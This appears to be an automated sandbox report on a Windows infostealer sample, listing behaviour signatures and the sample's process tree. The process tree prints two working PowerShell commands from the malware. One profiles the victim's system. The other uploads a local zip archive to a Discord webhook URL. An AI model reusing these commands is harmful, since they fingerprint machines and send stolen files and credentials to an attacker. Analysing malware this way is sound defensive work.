Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 09:26
General
- Target 5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764.exe
- Size 1.5MB
- Sample260910-lep23san4s
- SHA256 5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764.exe"C:\Users\Admin\AppData\Local\Temp\5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exe"net" session2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -Command " $os = (Get-CimInstance Win32_OperatingSystem).Caption $cpu = (Get-CimInstance Win32_Processor).Name $mem = [math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1MB) $gpu = (Get-CimInstance Win32_VideoController).Name -join '; ' $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name $host = $env:COMPUTERNAME $arch = (Get-CimInstance Win32_Processor).Architecture $ip = (Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias * -ErrorAction SilentlyContinue | Where-Object { $_.IPAddress -notlike '127.*' }).IPAddress -join ',' $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $webcam = (Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' }).Count -gt 0 \"$os`n$cpu`n$mem`n$gpu`n$user`n$host`n$arch`n$ip`n$admin`n$webcam\" "2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -Command " Add-Type -AssemblyName System.Net.Http $ErrorActionPreference = 'Stop' $code = 0 try { $filePath = 'C:\Users\Admin\AppData\Local\Temp\rustrust_XHBCZSSI.zip' $fileName = Split-Path $filePath -Leaf $handler = New-Object System.Net.Http.HttpClientHandler $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [System.TimeSpan]::FromSeconds(100) $content = New-Object System.Net.Http.MultipartFormDataContent $fileStream = [System.IO.File]::OpenRead($filePath) $streamContent = New-Object System.Net.Http.StreamContent($fileStream) $streamContent.Headers.ContentType = New-Object System.Net.Http.Headers.MediaTypeHeaderValue('application/octet-stream') $content.Add($streamContent, 'file', $fileName) $resp = $client.PostAsync('https://discord.com/api/webhooks/1533574337486000178/wyu2dpSxtRk7W3Tiku2mZg630jnzS239ItK-JycyQU4F1yasLvDbNSC0xiHyPrSwoOF3', $content).GetAwaiter().GetResult() $code = [int]$resp.StatusCode $fileStream.Dispose() $client.Dispose() Write-Output $code } catch { $msg = $_.Exception.Message if ($_.Exception.InnerException) { $msg = $_.Exception.InnerException.Message } Write-Output (\"ERR:\" + $msg) } "2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_siy0gjdh.htq.ps1
rustrust_XHBCZSSI.zip
memory/3284-1-0x00000242F3920000-0x00000242F3930000-memory.dmp
memory/3284-10-0x00000242F5DE0000-0x00000242F5E0A000-memory.dmp
memory/3284-11-0x00000242F5DE0000-0x00000242F5E04000-memory.dmp
memory/3284-12-0x00000242F3920000-0x00000242F3930000-memory.dmp
memory/3284-13-0x00000242F3920000-0x00000242F3930000-memory.dmp
memory/3284-14-0x00000242F3920000-0x00000242F3930000-memory.dmp
memory/3284-7-0x00000242F3890000-0x00000242F38B2000-memory.dmp
memory/3284-0-0x00000242F3920000-0x00000242F3930000-memory.dmp
memory/4316-29-0x000002264A5C0000-0x000002264A5D0000-memory.dmp
memory/4316-30-0x000002264A5C0000-0x000002264A5D0000-memory.dmp